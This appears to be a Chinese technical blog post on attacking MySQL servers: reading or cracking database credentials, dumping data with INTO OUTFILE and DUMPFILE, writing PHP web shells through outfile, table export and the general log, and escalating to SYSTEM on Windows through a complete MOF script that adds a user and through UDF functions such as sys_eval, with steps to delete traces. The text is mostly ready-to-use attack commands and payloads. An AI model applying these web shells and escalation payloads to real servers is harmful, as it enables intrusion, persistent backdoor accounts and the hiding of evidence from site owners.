mysql写马与提权

密码读取

直接从配置文件中读取数据库账号密码
爆破账号密码
读取数据库目录中的user.MYDroot后的字符串为其用户加密值,在线解密或者hashcat即可
脱库
利用条件:
权限为root

secure_file_priv

没有具体值

show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值为null,表示限制mysqld 不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制
Into outfile

select * from test into outfile '/tmp/test.txt'

Into dumpfile

 select * from test into dumpfile '/tmp/test.txt'

out file 与 dump file的脱裤区别
1.dumpfile只输出一行内容,outfile多行。2.outfile函数在将数据写入到文件时会进行特殊格式转换 例如\n,则dumpfile则保持原数据格式。
若我们想把一个可执行2进制文件用into outfile函数导出,事实上导出后就会被破坏
因为into outfile函数会在行末端写入新行 更致命的是会转义换行符,这样的话这个2进制可执行文件就会被破坏
这时候我们用into dumpfile就能导出一个完整能执行的2进制 文件
into dumpfile函数不对任何列或行进行终止,也不执行任何转义处理
写Web Shell
利用条件:
权限为root
secure_file_priv
没有具体值

show global variables like '%secure_file_priv%'; 查看secure_file_priv的
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv的值为/tmp/,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

直接写入

select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php';

select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php';

创建表
1.先创建数据表

CREATE  table 'mysql'.'shell' ('webshell'  text not null);

2.向表单中写入一句话

insert Into mysql.shell values('<?php $eval($_POST[shell]);?>');

3.查询数据导出webshell

select 'webshell' from 'shell'  into outfile 'c:\\1.php';

4.删除表,清理痕迹。

drop table if exists 'shell';

日志
1.查看genera文件配置情况

show global variables like "%genera%";

2.开启日志记录

set global general_log='on';

3.日志文件导出指定目录

set global general_log_file='C:/phpstudy/WWW/hp.php';

4.记录sql语句写马,演示一下,没有安全狗,直接传原马

select '<?php @eval($_POST["hp"]); ?>';

5.关闭记录

set global general_log=off;

提权
mof提权
MOF提权的条件要求十分严苛:
windows 03及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
MOF文件:托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。
提权原理:MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
公开的nullevt.mof利用代码:

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用:
将上面的脚本上传到有读写权限的目录下:
这里我上传到了C:\Documents and Settings\test
根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/payload:

select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。
验证提权:
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。
可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:

net.exe user localgroup administrator hpdoger /add\

关于MOF提权的弊端:
我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重启服务即可。

udf提权

什么是udf:UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
提权分析:udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。
导出dll到指定目录:利用提权马将写在其中的二进制导出一个dll到指定目录,但导出的dll文件路径有要求
Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32
Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
但是大于5.1版本的时候没有plugin这个文件夹,需要我们自己创建。
udf的自定义函数引入:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll' #引入sys_eval函数

其中,sys_eval函数是执行任意命令,并将输出返回函数的名字,hpudf.dll是你导出文件的名字;
常见的函数如下:

cmdshell执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell反弹Shell;

ProcessView 枚举系统进程;

KillProcess终止指定进程;

regread读注册表;

regwrite 写注册表;

shut关机,注销,重启;

about说明与帮助函数;

执行命令:

select sys_eval('ipconfig');

添加用户/管理员

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值